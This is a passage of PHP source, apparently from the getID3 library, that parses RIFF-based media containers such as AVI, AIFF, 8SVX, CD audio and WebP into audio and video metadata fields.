								$this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;
					}
				}
				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
						$info['avdataend']--;
						$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
					}
				}
				if ($thisfile_audio_dataformat == 'ac3') {
					unset($thisfile_audio['bits_per_sample']);
					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
					}
				}
				break;

			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
			case 'AVI ':
				$info['fileformat'] = 'avi';
				$info['mime_type']  = 'video/avi';

				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
				$thisfile_video['dataformat']   = 'avi';

				$thisfile_riff_video_current = array();

				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
					if (isset($thisfile_riff['AVIX'])) {
						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
					} else {
						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
					}
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)');
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
					//$bIndexType = array(
					//	0x00 => 'AVI_INDEX_OF_INDEXES',
					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
					//	0x80 => 'AVI_INDEX_IS_DATA',
					//);
					//$bIndexSubtype = array(
					//	0x01 => array(
					//		0x01 => 'AVI_INDEX_2FIELD',
					//	),
					//);
					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];

						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));

						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];

						unset($ahsisd);
					}
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];

					// shortcut
					$thisfile_riff_raw['avih'] = array();
					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];

					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
						$this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero');
						return false;
					}

					$flags = array(
						'dwMaxBytesPerSec',       // max. transfer rate
						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
						'dwFlags',                // the ever-present flags
						'dwTotalFrames',          // # frames in file
						'dwInitialFrames',        //
						'dwStreams',              //
						'dwSuggestedBufferSize',  //
						'dwWidth',                //
						'dwHeight',               //
						'dwScale',                //
						'dwRate',                 //
						'dwStart',                //
						'dwLength',               //
					);
					$avih_offset = 4;
					foreach ($flags as $flag) {
						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
						$avih_offset += 4;
					}

					$flags = array(
						'hasindex'     => 0x00000010,
						'mustuseindex' => 0x00000020,
						'interleaved'  => 0x00000100,
						'trustcktype'  => 0x00000800,
						'capturedfile' => 0x00010000,
						'copyrighted'  => 0x00020010,
					);
					foreach ($flags as $flag => $value) {
						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
					}

					// shortcut
					$thisfile_riff_video[$streamindex] = array();
					/** @var array $thisfile_riff_video_current */
					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];

					if ($thisfile_riff_raw_avih['dwWidth'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
					}
					if ($thisfile_riff_raw_avih['dwHeight'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
					}
					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
					}

					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
						$thisfile_riff_raw_strf_strhfccType_streamindex = null;
						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
								$strhfccType = substr($strhData,  0, 4);

								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];

									if (!isset($thisfile_riff_raw['strf'][$strhfccType][$streamindex])) {
										$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = null;
									}
									// shortcut
									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];

									switch ($strhfccType) {
										case 'auds':
											$thisfile_audio['bitrate_mode'] = 'cbr';
											$thisfile_audio_dataformat      = 'wav';
											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
												$streamindex = count($thisfile_riff_audio);
											}

											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];

											// shortcut
											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];

											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
											}
											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
											unset($thisfile_audio_streams_currentstream['raw']);

											// shortcut
											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];

											unset($thisfile_riff_audio[$streamindex]['raw']);
											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);

											$thisfile_audio['lossless'] = false;
											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
												case 0x0001:  // PCM
													$thisfile_audio_dataformat  = 'wav';
													$thisfile_audio['lossless'] = true;
													break;

												case 0x0050: // MPEG Layer 2 or Layer 1
													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
													break;

												case 0x0055: // MPEG Layer 3
													$thisfile_audio_dataformat = 'mp3';
													break;

												case 0x00FF: // AAC
													$thisfile_audio_dataformat = 'aac';
													break;

												case 0x0161: // Windows Media v7 / v8 / v9
												case 0x0162: // Windows Media Professional v9
												case 0x0163: // Windows Media Lossess v9
													$thisfile_audio_dataformat = 'wma';
													break;

												case 0x2000: // AC-3
													$thisfile_audio_dataformat = 'ac3';
													break;

												case 0x2001: // DTS
													$thisfile_audio_dataformat = 'dts';
													break;

												default:
													$thisfile_audio_dataformat = 'wav';
													break;
											}
											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
											break;


										case 'iavs':
										case 'vids':
											// shortcut
											$thisfile_riff_raw['strh'][$i]                  = array();
											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];

											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));

											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
											}
											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
												case 'HFYU': // Huffman Lossless Codec
												case 'IRAW': // Intel YUV Uncompressed
												case 'YUY2': // Uncompressed YUV 4:2:2
													$thisfile_video['lossless'] = true;
													break;

												default:
													$thisfile_video['lossless'] = false;
													break;
											}

											switch ($strhfccType) {
												case 'vids':
													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];

													if ($thisfile_riff_video_current['codec'] == 'DV') {
														$thisfile_riff_video_current['dv_type'] = 2;
													}
													break;

												case 'iavs':
													$thisfile_riff_video_current['dv_type'] = 1;
													break;
											}
											break;

										default:
											$this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"');
											break;

									}
								}
							}

							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {

								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
								if (self::fourccLookup($thisfile_video['fourcc'])) {
									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
								}

								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
									case 'HFYU': // Huffman Lossless Codec
									case 'IRAW': // Intel YUV Uncompressed
									case 'YUY2': // Uncompressed YUV 4:2:2
										$thisfile_video['lossless']        = true;
										//$thisfile_video['bits_per_sample'] = 24;
										break;

									default:
										$thisfile_video['lossless']        = false;
										//$thisfile_video['bits_per_sample'] = 24;
										break;
								}

							}
						}
					}
				}
				break;


			case 'AMV ':
				$info['fileformat'] = 'amv';
				$info['mime_type']  = 'video/amv';

				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
				$thisfile_video['dataformat']      = 'mjpeg';
				$thisfile_video['codec']           = 'mjpeg';
				$thisfile_video['lossless']        = false;
				$thisfile_video['bits_per_sample'] = 24;

				$thisfile_audio['dataformat']   = 'adpcm';
				$thisfile_audio['lossless']     = false;
				break;


			// http://en.wikipedia.org/wiki/CD-DA
			case 'CDDA':
				$info['fileformat'] = 'cda';
				unset($info['mime_type']);

				$thisfile_audio_dataformat      = 'cda';

				$info['avdataoffset'] = 44;

				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
					// shortcut
					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];

					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));

					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
					$info['comments']['track_number']         = $thisfile_riff_CDDA_fmt_0['track_num'];
					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];

					// hardcoded data for CD-audio
					$thisfile_audio['lossless']        = true;
					$thisfile_audio['sample_rate']     = 44100;
					$thisfile_audio['channels']        = 2;
					$thisfile_audio['bits_per_sample'] = 16;
					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
					$thisfile_audio['bitrate_mode']    = 'cbr';
				}
				break;

			// http://en.wikipedia.org/wiki/AIFF
			case 'AIFF':
			case 'AIFC':
				$info['fileformat'] = 'aiff';
				$info['mime_type']  = 'audio/x-aiff';

				$thisfile_audio['bitrate_mode'] = 'cbr';
				$thisfile_audio_dataformat      = 'aiff';
				$thisfile_audio['lossless']     = true;

				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
							// structures rounded to 2-byte boundary, but dumb encoders
							// forget to pad end of file to make this actually work
						} else {
							$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
						}
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {

					// shortcut
					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];

					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));

					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
						switch ($thisfile_riff_audio['codec_name']) {
							case 'NONE':
								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
								$thisfile_audio['lossless'] = true;
								break;

							case '':
								switch ($thisfile_riff_audio['codec_fourcc']) {
									// http://developer.apple.com/qa/snd/snd07.html
									case 'sowt':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									case 'twos':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									default:
										break;
								}
								break;

							default:
								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
								$thisfile_audio['lossless'] = false;
								break;
						}
					}

					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
					}
					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
					if ($thisfile_audio['sample_rate'] == 0) {
						$this->error('Corrupted AIFF file: sample_rate == zero');
						return false;
					}
					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
					$offset = 0;
					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
					$offset += 2;
					for ($i = 0; $i < $CommentCount; $i++) {
						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
						$offset += 4;
						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
						$offset += 2;
						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
						$offset += 2;
						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
						$offset += $CommentLength;

						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
					}
				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}
/*
				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
*/
				break;

			// http://en.wikipedia.org/wiki/8SVX
			case '8SVX':
				$info['fileformat'] = '8svx';
				$info['mime_type']  = 'audio/8svx';

				$thisfile_audio['bitrate_mode']    = 'cbr';
				$thisfile_audio_dataformat         = '8svx';
				$thisfile_audio['bits_per_sample'] = 8;
				$thisfile_audio['channels']        = 1; // overridden below, if need be
				$ActualBitsPerSample               = 0;

				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
					// shortcut
					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];

					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));

					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];

					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
						case 0:
							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
							$thisfile_audio['lossless'] = true;
							$ActualBitsPerSample        = 8;
							break;

						case 1:
							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
							$thisfile_audio['lossless'] = false;
							$ActualBitsPerSample        = 4;
							break;

						default:
							$this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"');
							break;
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
					switch ($ChannelsIndex) {
						case 6: // Stereo
							$thisfile_audio['channels'] = 2;
							break;

						case 2: // Left channel only
						case 4: // Right channel only
							$thisfile_audio['channels'] = 1;
							break;

						default:
							$this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"');
							break;
					}

				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}

				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
				if (!empty($thisfile_audio['bitrate'])) {
					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
				}
				break;

			case 'CDXA':
				$info['fileformat'] = 'vcd'; // Asume Video CD
				$info['mime_type']  = 'video/mpeg';

				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_mpeg = new getid3_mpeg($getid3_temp);
					$getid3_mpeg->Analyze();
					if (empty($getid3_temp->info['error'])) {
						$info['audio']   = $getid3_temp->info['audio'];
						$info['video']   = $getid3_temp->info['video'];
						$info['mpeg']    = $getid3_temp->info['mpeg'];
						$info['warning'] = $getid3_temp->info['warning'];
					}
					unset($getid3_temp, $getid3_mpeg);
				}
				break;

			case 'WEBP':
				// https://developers.google.com/speed/webp/docs/riff_container
				// https://tools.ietf.org/html/rfc6386
				// https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt
				$info['fileformat'] = 'webp';
				$info['mime_type']  = 'image/webp';

				if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size
					$WEBP_VP8_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") {
						$thisfile_riff['WEBP']['VP8 '][0]['keyframe']   = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000);
						$thisfile_riff['WEBP']['VP8 '][0]['version']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20;
						$thisfile_riff['WEBP']['VP8 '][0]['show_frame'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000);
						$thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >>  0;

						$thisfile_riff['WEBP']['VP8 '][0]['scale_x']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['width']      =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF);
